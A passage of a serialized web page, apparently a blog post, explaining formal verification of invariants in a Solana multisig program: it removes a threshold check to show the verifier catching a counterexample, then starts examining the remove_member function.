84},{"type":20,"tag":315,"props":23255,"children":23256},{"style":322},[23257],{"type":26,"value":19434},{"type":20,"tag":315,"props":23259,"children":23260},{"style":328},[23261],{"type":26,"value":19589},{"type":20,"tag":315,"props":23263,"children":23264},{"style":1071},[23265],{"type":26,"value":19594},{"type":20,"tag":315,"props":23267,"children":23268},{"class":317,"line":453},[23269,23273,23277,23281,23285,23289],{"type":20,"tag":315,"props":23270,"children":23271},{"style":541},[23272],{"type":26,"value":19247},{"type":20,"tag":315,"props":23274,"children":23275},{"style":635},[23276],{"type":26,"value":19606},{"type":20,"tag":315,"props":23278,"children":23279},{"style":334},[23280],{"type":26,"value":2884},{"type":20,"tag":315,"props":23282,"children":23283},{"style":322},[23284],{"type":26,"value":19434},{"type":20,"tag":315,"props":23286,"children":23287},{"style":328},[23288],{"type":26,"value":19619},{"type":20,"tag":315,"props":23290,"children":23291},{"style":1071},[23292],{"type":26,"value":19624},{"type":20,"tag":315,"props":23294,"children":23295},{"class":317,"line":486},[23296,23300,23304,23308,23312,23316],{"type":20,"tag":315,"props":23297,"children":23298},{"style":541},[23299],{"type":26,"value":19247},{"type":20,"tag":315,"props":23301,"children":23302},{"style":635},[23303],{"type":26,"value":19636},{"type":20,"tag":315,"props":23305,"children":23306},{"style":334},[23307],{"type":26,"value":2884},{"type":20,"tag":315,"props":23309,"children":23310},{"style":322},[23311],{"type":26,"value":15952},{"type":20,"tag":315,"props":23313,"children":23314},{"style":328},[23315],{"type":26,"value":19649},{"type":20,"tag":315,"props":23317,"children":23318},{"style":1071},[23319],{"type":26,"value":19654},{"type":20,"tag":315,"props":23321,"children":23322},{"class":317,"line":499},[23323,23327,23331,23335,23339,23343],{"type":20,"tag":315,"props":23324,"children":23325},{"style":541},[23326],{"type":26,"value":19247},{"type":20,"tag":315,"props":23328,"children":23329},{"style":635},[23330],{"type":26,"value":19666},{"type":20,"tag":315,"props":23332,"children":23333},{"style":334},[23334],{"type":26,"value":2884},{"type":20,"tag":315,"props":23336,"children":23337},{"style":322},[23338],{"type":26,"value":15952},{"type":20,"tag":315,"props":23340,"children":23341},{"style":328},[23342],{"type":26,"value":19619},{"type":20,"tag":315,"props":23344,"children":23345},{"style":1071},[23346],{"type":26,"value":19683},{"type":20,"tag":315,"props":23348,"children":23349},{"class":317,"line":513},[23350,23354,23358,23362,23366,23370],{"type":20,"tag":315,"props":23351,"children":23352},{"style":541},[23353],{"type":26,"value":19247},{"type":20,"tag":315,"props":23355,"children":23356},{"style":635},[23357],{"type":26,"value":19695},{"type":20,"tag":315,"props":23359,"children":23360},{"style":334},[23361],{"type":26,"value":2884},{"type":20,"tag":315,"props":23363,"children":23364},{"style":322},[23365],{"type":26,"value":13035},{"type":20,"tag":315,"props":23367,"children":23368},{"style":328},[23369],{"type":26,"value":19708},{"type":20,"tag":315,"props":23371,"children":23372},{"style":1071},[23373],{"type":26,"value":19713},{"type":20,"tag":315,"props":23375,"children":23376},{"class":317,"line":521},[23377,23381,23385,23389,23393,23397],{"type":20,"tag":315,"props":23378,"children":23379},{"style":541},[23380],{"type":26,"value":19247},{"type":20,"tag":315,"props":23382,"children":23383},{"style":635},[23384],{"type":26,"value":19725},{"type":20,"tag":315,"props":23386,"children":23387},{"style":334},[23388],{"type":26,"value":2884},{"type":20,"tag":315,"props":23390,"children":23391},{"style":322},[23392],{"type":26,"value":19261},{"type":20,"tag":315,"props":23394,"children":23395},{"style":328},[23396],{"type":26,"value":19738},{"type":20,"tag":315,"props":23398,"children":23399},{"style":1071},[23400],{"type":26,"value":19743},{"type":20,"tag":315,"props":23402,"children":23403},{"class":317,"line":552},[23404,23408,23412,23416,23420,23424],{"type":20,"tag":315,"props":23405,"children":23406},{"style":541},[23407],{"type":26,"value":19247},{"type":20,"tag":315,"props":23409,"children":23410},{"style":635},[23411],{"type":26,"value":19755},{"type":20,"tag":315,"props":23413,"children":23414},{"style":334},[23415],{"type":26,"value":2884},{"type":20,"tag":315,"props":23417,"children":23418},{"style":322},[23419],{"type":26,"value":10451},{"type":20,"tag":315,"props":23421,"children":23422},{"style":328},[23423],{"type":26,"value":44},{"type":20,"tag":315,"props":23425,"children":23426},{"style":1071},[23427],{"type":26,"value":19772},{"type":20,"tag":315,"props":23429,"children":23430},{"class":317,"line":571},[23431,23435,23439,23443,23447,23451,23455,23459],{"type":20,"tag":315,"props":23432,"children":23433},{"style":541},[23434],{"type":26,"value":19247},{"type":20,"tag":315,"props":23436,"children":23437},{"style":635},[23438],{"type":26,"value":19784},{"type":20,"tag":315,"props":23440,"children":23441},{"style":334},[23442],{"type":26,"value":2884},{"type":20,"tag":315,"props":23444,"children":23445},{"style":322},[23446],{"type":26,"value":19793},{"type":20,"tag":315,"props":23448,"children":23449},{"style":328},[23450],{"type":26,"value":4199},{"type":20,"tag":315,"props":23452,"children":23453},{"style":322},[23454],{"type":26,"value":19802},{"type":20,"tag":315,"props":23456,"children":23457},{"style":328},[23458],{"type":26,"value":19807},{"type":20,"tag":315,"props":23460,"children":23461},{"style":1071},[23462],{"type":26,"value":19812},{"type":20,"tag":315,"props":23464,"children":23465},{"class":317,"line":2031},[23466],{"type":20,"tag":315,"props":23467,"children":23468},{"style":328},[23469],{"type":26,"value":577},{"type":20,"tag":29,"props":23471,"children":23472},{},[23473,23475,23480],{"type":26,"value":23474},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":20,"tag":119,"props":23476,"children":23478},{"className":23477},[],[23479],{"type":26,"value":21146},{"type":26,"value":23481}," object will be checked to ensure that the invariant still holds after modification.",{"type":20,"tag":29,"props":23483,"children":23484},{},[23485,23487,23492],{"type":26,"value":23486},"Let's try this on the ",{"type":20,"tag":119,"props":23488,"children":23490},{"className":23489},[],[23491],{"type":26,"value":21225},{"type":26,"value":23493}," instruction that we've already seen:",{"type":20,"tag":305,"props":23495,"children":23497},{"code":23496},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[23498],{"type":20,"tag":119,"props":23499,"children":23500},{"__ignoreMap":7},[23501],{"type":26,"value":23496},{"type":20,"tag":29,"props":23503,"children":23504},{},[23505,23507,23512],{"type":26,"value":23506},"To ensure this is working, we can test by commenting out this check from ",{"type":20,"tag":119,"props":23508,"children":23510},{"className":23509},[],[23511],{"type":26,"value":21225},{"type":26,"value":2884},{"type":20,"tag":305,"props":23514,"children":23516},{"code":23515,"language":1359,"meta":7,"className":1360,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n// return err!(MsError::InvalidThreshold);\n// }\n",[23517],{"type":20,"tag":119,"props":23518,"children":23519},{"__ignoreMap":7},[23520,23528,23536],{"type":20,"tag":315,"props":23521,"children":23522},{"class":317,"line":318},[23523],{"type":20,"tag":315,"props":23524,"children":23525},{"style":1071},[23526],{"type":26,"value":23527},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":20,"tag":315,"props":23529,"children":23530},{"class":317,"line":356},[23531],{"type":20,"tag":315,"props":23532,"children":23533},{"style":1071},[23534],{"type":26,"value":23535},"// return err!(MsError::InvalidThreshold);\n",{"type":20,"tag":315,"props":23537,"children":23538},{"class":317,"line":365},[23539],{"type":20,"tag":315,"props":23540,"children":23541},{"style":1071},[23542],{"type":26,"value":23543},"// }\n",{"type":20,"tag":29,"props":23545,"children":23546},{},[23547],{"type":26,"value":23548},"And run again:",{"type":20,"tag":305,"props":23550,"children":23552},{"code":23551},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[23553],{"type":20,"tag":119,"props":23554,"children":23555},{"__ignoreMap":7},[23556],{"type":26,"value":23551},{"type":20,"tag":29,"props":23558,"children":23559},{},[23560],{"type":26,"value":23561},"We get the following counterexample:",{"type":20,"tag":305,"props":23563,"children":23565},{"code":23564,"language":1359,"meta":7,"className":1360,"style":7},"Account {\n account: Ms {\n threshold: 32768,\n authority_index: 1,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: SparseVec {\n size: 5112,\n },\n },\n info: AccountInfo { ... },\n}\n",[23566],{"type":20,"tag":119,"props":23567,"children":23568},{"__ignoreMap":7},[23569,23580,23600,23620,23640,23660,23680,23700,23720,23740,23761,23782,23790,23798,23828],{"type":20,"tag":315,"props":23570,"children":23571},{"class":317,"line":318},[23572,23576],{"type":20,"tag":315,"props":23573,"children":23574},{"style":322},[23575],{"type":26,"value":15548},{"type":20,"tag":315,"props":23577,"children":23578},{"style":328},[23579],{"type":26,"value":1092},{"type":20,"tag":315,"props":23581,"children":23582},{"class":317,"line":356},[23583,23588,23592,23596],{"type":20,"tag":315,"props":23584,"children":23585},{"style":635},[23586],{"type":26,"value":23587}," account",{"type":20,"tag":315,"props":23589,"children":23590},{"style":334},[23591],{"type":26,"value":2884},{"type":20,"tag":315,"props":23593,"children":23594},{"style":322},[23595],{"type":26,"value":19560},{"type":20,"tag":315,"props":23597,"children":23598},{"style":328},[23599],{"type":26,"value":1092},{"type":20,"tag":315,"props":23601,"children":23602},{"class":317,"line":365},[23603,23607,23611,23616],{"type":20,"tag":315,"props":23604,"children":23605},{"style":635},[23606],{"type":26,"value":22242},{"type":20,"tag":315,"props":23608,"children":23609},{"style":334},[23610],{"type":26,"value":2884},{"type":20,"tag":315,"props":23612,"children":23613},{"style":765},[23614],{"type":26,"value":23615}," 32768",{"type":20,"tag":315,"props":23617,"children":23618},{"style":328},[23619],{"type":26,"value":643},{"type":20,"tag":315,"props":23621,"children":23622},{"class":317,"line":374},[23623,23628,23632,23636],{"type":20,"tag":315,"props":23624,"children":23625},{"style":635},[23626],{"type":26,"value":23627}," authority_index",{"type":20,"tag":315,"props":23629,"children":23630},{"style":334},[23631],{"type":26,"value":2884},{"type":20,"tag":315,"props":23633,"children":23634},{"style":765},[23635],{"type":26,"value":2916},{"type":20,"tag":315,"props":23637,"children":23638},{"style":328},[23639],{"type":26,"value":643},{"type":20,"tag":315,"props":23641,"children":23642},{"class":317,"line":383},[23643,23648,23652,23656],{"type":20,"tag":315,"props":23644,"children":23645},{"style":635},[23646],{"type":26,"value":23647}," transaction_index",{"type":20,"tag":315,"props":23649,"children":23650},{"style":334},[23651],{"type":26,"value":2884},{"type":20,"tag":315,"props":23653,"children":23654},{"style":765},[23655],{"type":26,"value":985},{"type":20,"tag":315,"props":23657,"children":23658},{"style":328},[23659],{"type":26,"value":643},{"type":20,"tag":315,"props":23661,"children":23662},{"class":317,"line":407},[23663,23668,23672,23676],{"type":20,"tag":315,"props":23664,"children":23665},{"style":635},[23666],{"type":26,"value":23667}," ms_change_index",{"type":20,"tag":315,"props":23669,"children":23670},{"style":334},[23671],{"type":26,"value":2884},{"type":20,"tag":315,"props":23673,"children":23674},{"style":765},[23675],{"type":26,"value":985},{"type":20,"tag":315,"props":23677,"children":23678},{"style":328},[23679],{"type":26,"value":643},{"type":20,"tag":315,"props":23681,"children":23682},{"class":317,"line":421},[23683,23688,23692,23696],{"type":20,"tag":315,"props":23684,"children":23685},{"style":635},[23686],{"type":26,"value":23687}," bump",{"type":20,"tag":315,"props":23689,"children":23690},{"style":334},[23691],{"type":26,"value":2884},{"type":20,"tag":315,"props":23693,"children":23694},{"style":765},[23695],{"type":26,"value":985},{"type":20,"tag":315,"props":23697,"children":23698},{"style":328},[23699],{"type":26,"value":643},{"type":20,"tag":315,"props":23701,"children":23702},{"class":317,"line":430},[23703,23707,23711,23716],{"type":20,"tag":315,"props":23704,"children":23705},{"style":635},[23706],{"type":26,"value":22255},{"type":20,"tag":315,"props":23708,"children":23709},{"style":334},[23710],{"type":26,"value":2884},{"type":20,"tag":315,"props":23712,"children":23713},{"style":334},[23714],{"type":26,"value":23715}," ...",{"type":20,"tag":315,"props":23717,"children":23718},{"style":328},[23719],{"type":26,"value":643},{"type":20,"tag":315,"props":23721,"children":23722},{"class":317,"line":453},[23723,23728,23732,23736],{"type":20,"tag":315,"props":23724,"children":23725},{"style":635},[23726],{"type":26,"value":23727}," allow_external_execute",{"type":20,"tag":315,"props":23729,"children":23730},{"style":334},[23731],{"type":26,"value":2884},{"type":20,"tag":315,"props":23733,"children":23734},{"style":541},[23735],{"type":26,"value":7455},{"type":20,"tag":315,"props":23737,"children":23738},{"style":328},[23739],{"type":26,"value":643},{"type":20,"tag":315,"props":23741,"children":23742},{"class":317,"line":486},[23743,23748,23752,23757],{"type":20,"tag":315,"props":23744,"children":23745},{"style":635},[23746],{"type":26,"value":23747}," keys",{"type":20,"tag":315,"props":23749,"children":23750},{"style":334},[23751],{"type":26,"value":2884},{"type":20,"tag":315,"props":23753,"children":23754},{"style":322},[23755],{"type":26,"value":23756}," SparseVec",{"type":20,"tag":315,"props":23758,"children":23759},{"style":328},[23760],{"type":26,"value":1092},{"type":20,"tag":315,"props":23762,"children":23763},{"class":317,"line":499},[23764,23769,23773,23778],{"type":20,"tag":315,"props":23765,"children":23766},{"style":635},[23767],{"type":26,"value":23768}," size",{"type":20,"tag":315,"props":23770,"children":23771},{"style":334},[23772],{"type":26,"value":2884},{"type":20,"tag":315,"props":23774,"children":23775},{"style":765},[23776],{"type":26,"value":23777}," 5112",{"type":20,"tag":315,"props":23779,"children":23780},{"style":328},[23781],{"type":26,"value":643},{"type":20,"tag":315,"props":23783,"children":23784},{"class":317,"line":513},[23785],{"type":20,"tag":315,"props":23786,"children":23787},{"style":328},[23788],{"type":26,"value":23789}," },\n",{"type":20,"tag":315,"props":23791,"children":23792},{"class":317,"line":521},[23793],{"type":20,"tag":315,"props":23794,"children":23795},{"style":328},[23796],{"type":26,"value":23797}," },\n",{"type":20,"tag":315,"props":23799,"children":23800},{"class":317,"line":552},[23801,23806,23810,23815,23819,23823],{"type":20,"tag":315,"props":23802,"children":23803},{"style":635},[23804],{"type":26,"value":23805}," info",{"type":20,"tag":315,"props":23807,"children":23808},{"style":334},[23809],{"type":26,"value":2884},{"type":20,"tag":315,"props":23811,"children":23812},{"style":322},[23813],{"type":26,"value":23814}," AccountInfo",{"type":20,"tag":315,"props":23816,"children":23817},{"style":328},[23818],{"type":26,"value":7985},{"type":20,"tag":315,"props":23820,"children":23821},{"style":334},[23822],{"type":26,"value":7990},{"type":20,"tag":315,"props":23824,"children":23825},{"style":328},[23826],{"type":26,"value":23827}," },\n",{"type":20,"tag":315,"props":23829,"children":23830},{"class":317,"line":571},[23831],{"type":20,"tag":315,"props":23832,"children":23833},{"style":328},[23834],{"type":26,"value":577},{"type":20,"tag":29,"props":23836,"children":23837},{},[23838,23840,23845,23847,23852],{"type":26,"value":23839},"Here we see that the ",{"type":20,"tag":119,"props":23841,"children":23843},{"className":23842},[],[23844],{"type":26,"value":21154},{"type":26,"value":23846}," of the newly created ",{"type":20,"tag":119,"props":23848,"children":23850},{"className":23849},[],[23851],{"type":26,"value":21146},{"type":26,"value":23853}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":20,"tag":219,"props":23855,"children":23857},{"id":23856},"verify-requirements-to-remove-a-member",[23858],{"type":26,"value":21184},{"type":20,"tag":29,"props":23860,"children":23861},{},[23862,23864,23869,23870,23875,23877,23883],{"type":26,"value":23863},"Now that we've seen both ",{"type":20,"tag":119,"props":23865,"children":23867},{"className":23866},[],[23868],{"type":26,"value":18558},{"type":26,"value":9392},{"type":20,"tag":119,"props":23871,"children":23873},{"className":23872},[],[23874],{"type":26,"value":20182},{"type":26,"value":23876}," let's take a look at the ",{"type":20,"tag":119,"props":23878,"children":23880},{"className":23879},[],[23881],{"type":26,"value":23882},"remove_member",{"type":26,"value":23884}," function:",{"type":20,"tag":305,"props":23886,"children":23888},{"code":23887,"language":1359,"meta":7,"className":1360,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n #[account(mut)]\n multisig: Box\u003CAccount\u003C'info, Ms>>,\n #[account(\n mut,\n seeds = [\n b\"squad\",\n multisig.create_key.as_ref(),\n b\"multisig\"\n ], bump = multisig.bump\n )]\n pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n // if there is only one key in this multisig, reject the removal\n if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n }\n ctx.accounts.multisig.remove_member(old_member)?;\n\n // if the number of keys is now less than the threshold, adjust it\n if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n ctx.accounts.multisig.change_threshold(new_threshold)?;\n }\n let new_index = ctx.accounts.multisig.transaction_index;\n ctx.accounts.multisig.set_change_index(new_index)\n}\n",[23889],{"type":20,"tag":119,"props":23890,"children":23891},{"__ignoreMap":7},[23892,23915,23943,23958,24003,24010,24022,24038,24050,24076,24084,24113,24120,24152,24159,24166,24240,24248,24308,24340,24347,24398,24405,24413,24506,24595,24649,24656,24701,24746],{"type":20,"tag":315,"props":23893,"children":23894},{"class":317,"line":318},[23895,23899,23903,23907,23911],{"type":20,"tag":315,"props":23896,"children":23897},{"style":328},[23898],{"type":26,"value":21242},{"type":20,"tag":315,"props":23900,"children":23901},{"style":322},[23902],{"type":26,"value":21247},{"type":20,"tag":315,"props":23904,"children":23905},{"style":328},[23906],{"type":26,"value":44},{"type":20,"tag":315,"props":23908,"children":23909},{"style":322},[23910],{"type":26,"value":23126},{"type":20,"tag":315,"props":23912,"children":23913},{"style":328},[23914],{"type":26,"value":18662},{"type":20,"tag":315,"props":23916,"children":23917},{"class":317,"line":356},[23918,23922,23926,23931,23935,23939],{"type":20,"tag":315,"props":23919,"children":23920},{"style":541},[23921],{"type":26,"value":12091},{"type":20,"tag":315,"props":23923,"children":23924},{"style":541},[23925],{"type":26,"value":19555},{"type":20,"tag":315,"props":23927,"children":23928},{"style":322},[23929],{"type":26,"value":23930}," MsAuth",{"type":20,"tag":315,"props":23932,"children":23933},{"style":328},[23934],{"type":26,"value":21327},{"type":20,"tag":315,"props":23936,"children":23937},{"style":322},[23938],{"type":26,"value":21332},{"type":20,"tag":315,"props":23940,"children":23941},{"style":328},[23942],{"type":26,"value":5676},{"type":20,"tag":315,"props":23944,"children":23945},{"class":317,"line":365},[23946,23950,23954],{"type":20,"tag":315,"props":23947,"children":23948},{"style":328},[23949],{"type":26,"value":21534},{"type":20,"tag":315,"props":23951,"children":23952},{"style":541},[23953],{"type":26,"value":2107},{"type":20,"tag":315,"props":23955,"children":23956},{"style":328},[23957],{"type":26,"value":18662},{"type":20,"tag":315,"props":23959,"children":23960},{"class":317,"line":374},[23961,23966,23970,23975,23979,23983,23987,23991,23995,23999],{"type":20,"tag":315,"props":23962,"children":23963},{"style":635},[23964],{"type":26,"value":23965}," multisig",{"type":20,"tag":315,"props":23967,"children":23968},{"style":334},[23969],{"type":26,"value":2884},{"type":20,"tag":315,"props":23971,"children":23972},{"style":322},[23973],{"type":26,"value":23974}," Box",{"type":20,"tag":315,"props":23976,"children":23977},{"style":328},[23978],{"type":26,"value":4199},{"type":20,"tag":315,"props":23980,"children":23981},{"style":322},[23982],{"type":26,"value":15548},{"type":20,"tag":315,"props":23984,"children":23985},{"style":328},[23986],{"type":26,"value":21327},{"type":20,"tag":315,"props":23988,"children":23989},{"style":322},[23990],{"type":26,"value":21332},{"type":20,"tag":315,"props":23992,"children":23993},{"style":328},[23994],{"type":26,"value":44},{"type":20,"tag":315,"props":23996,"children":23997},{"style":322},[23998],{"type":26,"value":21146},{"type":20,"tag":315,"props":24000,"children":24001},{"style":328},[24002],{"type":26,"value":5346},{"type":20,"tag":315,"props":24004,"children":24005},{"class":317,"line":383},[24006],{"type":20,"tag":315,"props":24007,"children":24008},{"style":328},[24009],{"type":26,"value":21344},{"type":20,"tag":315,"props":24011,"children":24012},{"class":317,"line":407},[24013,24018],{"type":20,"tag":315,"props":24014,"children":24015},{"style":541},[24016],{"type":26,"value":24017}," mut",{"type":20,"tag":315,"props":24019,"children":24020},{"style":328},[24021],{"type":26,"value":643},{"type":20,"tag":315,"props":24023,"children":24024},{"class":317,"line":421},[24025,24029,24033],{"type":20,"tag":315,"props":24026,"children":24027},{"style":328},[24028],{"type":26,"value":21428},{"type":20,"tag":315,"props":24030,"children":24031},{"style":334},[24032],{"type":26,"value":337},{"type":20,"tag":315,"props":24034,"children":24035},{"style":328},[24036],{"type":26,"value":24037}," [\n",{"type":20,"tag":315,"props":24039,"children":24040},{"class":317,"line":430},[24041,24046],{"type":20,"tag":315,"props":24042,"children":24043},{"style":2652},[24044],{"type":26,"value":24045}," b\"squad\"",{"type":20,"tag":315,"props":24047,"children":24048},{"style":328},[24049],{"type":26,"value":643},{"type":20,"tag":315,"props":24051,"children":24052},{"class":317,"line":453},[24053,24058,24062,24067,24071],{"type":20,"tag":315,"props":24054,"children":24055},{"style":328},[24056],{"type":26,"value":24057}," multisig",{"type":20,"tag":315,"props":24059,"children":24060},{"style":334},[24061],{"type":26,"value":61},{"type":20,"tag":315,"props":24063,"children":24064},{"style":328},[24065],{"type":26,"value":24066},"create_key",{"type":20,"tag":315,"props":24068,"children":24069},{"style":334},[24070],{"type":26,"value":61},{"type":20,"tag":315,"props":24072,"children":24073},{"style":328},[24074],{"type":26,"value":24075},"as_ref(),\n",{"type":20,"tag":315,"props":24077,"children":24078},{"class":317,"line":486},[24079],{"type":20,"tag":315,"props":24080,"children":24081},{"style":2652},[24082],{"type":26,"value":24083}," b\"multisig\"\n",{"type":20,"tag":315,"props":24085,"children":24086},{"class":317,"line":499},[24087,24092,24097,24101,24105,24109],{"type":20,"tag":315,"props":24088,"children":24089},{"style":328},[24090],{"type":26,"value":24091}," ], ",{"type":20,"tag":315,"props":24093,"children":24094},{"style":635},[24095],{"type":26,"value":24096},"bump",{"type":20,"tag":315,"props":24098,"children":24099},{"style":334},[24100],{"type":26,"value":1395},{"type":20,"tag":315,"props":24102,"children":24103},{"style":635},[24104],{"type":26,"value":21490},{"type":20,"tag":315,"props":24106,"children":24107},{"style":334},[24108],{"type":26,"value":61},{"type":20,"tag":315,"props":24110,"children":24111},{"style":328},[24112],{"type":26,"value":21470},{"type":20,"tag":315,"props":24114,"children":24115},{"class":317,"line":513},[24116],{"type":20,"tag":315,"props":24117,"children":24118},{"style":328},[24119],{"type":26,"value":21478},{"type":20,"tag":315,"props":24121,"children":24122},{"class":317,"line":521},[24123,24127,24132,24136,24140,24144,24148],{"type":20,"tag":315,"props":24124,"children":24125},{"style":541},[24126],{"type":26,"value":19247},{"type":20,"tag":315,"props":24128,"children":24129},{"style":635},[24130],{"type":26,"value":24131}," multisig_auth",{"type":20,"tag":315,"props":24133,"children":24134},{"style":334},[24135],{"type":26,"value":2884},{"type":20,"tag":315,"props":24137,"children":24138},{"style":322},[24139],{"type":26,"value":21563},{"type":20,"tag":315,"props":24141,"children":24142},{"style":328},[24143],{"type":26,"value":21327},{"type":20,"tag":315,"props":24145,"children":24146},{"style":322},[24147],{"type":26,"value":21332},{"type":20,"tag":315,"props":24149,"children":24150},{"style":328},[24151],{"type":26,"value":4532},{"type":20,"tag":315,"props":24153,"children":24154},{"class":317,"line":552},[24155],{"type":20,"tag":315,"props":24156,"children":24157},{"style":328},[24158],{"type":26,"value":577},{"type":20,"tag":315,"props":24160,"children":24161},{"class":317,"line":571},[24162],{"type":20,"tag":315,"props":24163,"children":24164},{"emptyLinePlaceholder":15},[24165],{"type":26,"value":427},{"type":20,"tag":315,"props":24167,"children":24168},{"class":317,"line":2031},[24169,24173,24177,24182,24186,24190,24194,24198,24202,24207,24211,24216,24220,24224,24228,24232,24236],{"type":20,"tag":315,"props":24170,"children":24171},{"style":541},[24172],{"type":26,"value":12091},{"type":20,"tag":315,"props":24174,"children":24175},{"style":541},[24176],{"type":26,"value":12096},{"type":20,"tag":315,"props":24178,"children":24179},{"style":345},[24180],{"type":26,"value":24181}," remove_member",{"type":20,"tag":315,"props":24183,"children":24184},{"style":328},[24185],{"type":26,"value":1049},{"type":20,"tag":315,"props":24187,"children":24188},{"style":635},[24189],{"type":26,"value":18684},{"type":20,"tag":315,"props":24191,"children":24192},{"style":334},[24193],{"type":26,"value":2884},{"type":20,"tag":315,"props":24195,"children":24196},{"style":322},[24197],{"type":26,"value":18693},{"type":20,"tag":315,"props":24199,"children":24200},{"style":328},[24201],{"type":26,"value":4199},{"type":20,"tag":315,"props":24203,"children":24204},{"style":322},[24205],{"type":26,"value":24206},"MsAuth",{"type":20,"tag":315,"props":24208,"children":24209},{"style":328},[24210],{"type":26,"value":5025},{"type":20,"tag":315,"props":24212,"children":24213},{"style":635},[24214],{"type":26,"value":24215},"old_member",{"type":20,"tag":315,"props":24217,"children":24218},{"style":334},[24219],{"type":26,"value":2884},{"type":20,"tag":315,"props":24221,"children":24222},{"style":322},[24223],{"type":26,"value":19261},{"type":20,"tag":315,"props":24225,"children":24226},{"style":328},[24227],{"type":26,"value":1468},{"type":20,"tag":315,"props":24229,"children":24230},{"style":334},[24231],{"type":26,"value":12158},{"type":20,"tag":315,"props":24233,"children":24234},{"style":322},[24235],{"type":26,"value":12163},{"type":20,"tag":315,"props":24237,"children":24238},{"style":328},[24239],{"type":26,"value":18735},{"type":20,"tag":315,"props":24241,"children":24242},{"class":317,"line":2053},[24243],{"type":20,"tag":315,"props":24244,"children":24245},{"style":1071},[24246],{"type":26,"value":24247}," // if there is only one key in this multisig, reject the removal\n",{"type":20,"tag":315,"props":24249,"children":24250},{"class":317,"line":2061},[24251,24255,24260,24264,24268,24272,24276,24280,24284,24288,24292,24296,24300,24304],{"type":20,"tag":315,"props":24252,"children":24253},{"style":525},[24254],{"type":26,"value":10680},{"type":20,"tag":315,"props":24256,"children":24257},{"style":635},[24258],{"type":26,"value":24259}," ctx",{"type":20,"tag":315,"props":24261,"children":24262},{"style":334},[24263],{"type":26,"value":61},{"type":20,"tag":315,"props":24265,"children":24266},{"style":328},[24267],{"type":26,"value":13076},{"type":20,"tag":315,"props":24269,"children":24270},{"style":334},[24271],{"type":26,"value":61},{"type":20,"tag":315,"props":24273,"children":24274},{"style":328},[24275],{"type":26,"value":22221},{"type":20,"tag":315,"props":24277,"children":24278},{"style":334},[24279],{"type":26,"value":61},{"type":20,"tag":315,"props":24281,"children":24282},{"style":328},[24283],{"type":26,"value":19387},{"type":20,"tag":315,"props":24285,"children":24286},{"style":334},[24287],{"type":26,"value":61},{"type":20,"tag":315,"props":24289,"children":24290},{"style":345},[24291],{"type":26,"value":7537},{"type":20,"tag":315,"props":24293,"children":24294},{"style":328},[24295],{"type":26,"value":12444},{"type":20,"tag":315,"props":24297,"children":24298},{"style":334},[24299],{"type":26,"value":538},{"type":20,"tag":315,"props":24301,"children":24302},{"style":765},[24303],{"type":26,"value":2916},{"type":20,"tag":315,"props":24305,"children":24306},{"style":328},[24307],{"type":26,"value":1092},{"type":20,"tag":315,"props":24309,"children":24310},{"class":317,"line":2070},[24311,24315,24319,24323,24327,24331,24336],{"type":20,"tag":315,"props":24312,"children":24313},{"style":525},[24314],{"type":26,"value":14145},{"type":20,"tag":315,"props":24316,"children":24317},{"style":345},[24318],{"type":26,"value":21924},{"type":20,"tag":315,"props":24320,"children":24321},{"style":328},[24322],{"type":26,"value":1049},{"type":20,"tag":315,"props":24324,"children":24325},{"style":322},[24326],{"type":26,"value":21933},{"type":20,"tag":315,"props":24328,"children":24329},{"style":334},[24330],{"type":26,"value":1861},{"type":20,"tag":315,"props":24332,"children":24333},{"style":322},[24334],{"type":26,"value":24335},"CannotRemoveSoloMember",{"type":20,"tag":315,"props":24337,"children":24338},{"style":328},[24339],{"type":26,"value":2214},{"type":20,"tag":315,"props":24341,"children":24342},{"class":317,"line":2139},[24343],{"type":20,"tag":315,"props":24344,"children":24345},{"style":328},[24346],{"type":26,"value":1736},{"type":20,"tag":315,"props":24348,"children":24349},{"class":317,"line":2147},[24350,24354,24358,24362,24366,24370,24374,24378,24382,24386,24390,24394],{"type":20,"tag":315,"props":24351,"children":24352},{"style":635},[24353],{"type":26,"value":18627},{"type":20,"tag":315,"props":24355,"children":24356},{"style":334},[24357],{"type":26,"value":61},{"type":20,"tag":315,"props":24359,"children":24360},{"style":328},[24361],{"type":26,"value":13076},{"type":20,"tag":315,"props":24363,"children":24364},{"style":334},[24365],{"type":26,"value":61},{"type":20,"tag":315,"props":24367,"children":24368},{"style":328},[24369],{"type":26,"value":22221},{"type":20,"tag":315,"props":24371,"children":24372},{"style":334},[24373],{"type":26,"value":61},{"type":20,"tag":315,"props":24375,"children":24376},{"style":345},[24377],{"type":26,"value":23882},{"type":20,"tag":315,"props":24379,"children":24380},{"style":328},[24381],{"type":26,"value":1049},{"type":20,"tag":315,"props":24383,"children":24384},{"style":635},[24385],{"type":26,"value":24215},{"type":20,"tag":315,"props":24387,"children":24388},{"style":328},[24389],{"type":26,"value":1509},{"type":20,"tag":315,"props":24391,"children":24392},{"style":334},[24393],{"type":26,"value":1537},{"type":20,"tag":315,"props":24395,"children":24396},{"style":328},[24397],{"type":26,"value":1405},{"type":20,"tag":315,"props":24399,"children":24400},{"class":317,"line":2177},[24401],{"type":20,"tag":315,"props":24402,"children":24403},{"emptyLinePlaceholder":15},[24404],{"type":26,"value":427},{"type":20,"tag":315,"props":24406,"children":24407},{"class":317,"line":2185},[24408],{"type":20,"tag":315,"props":24409,"children":24410},{"style":1071},[24411],{"type":26,"value":24412}," // if the number of keys is now less than the threshold, adjust 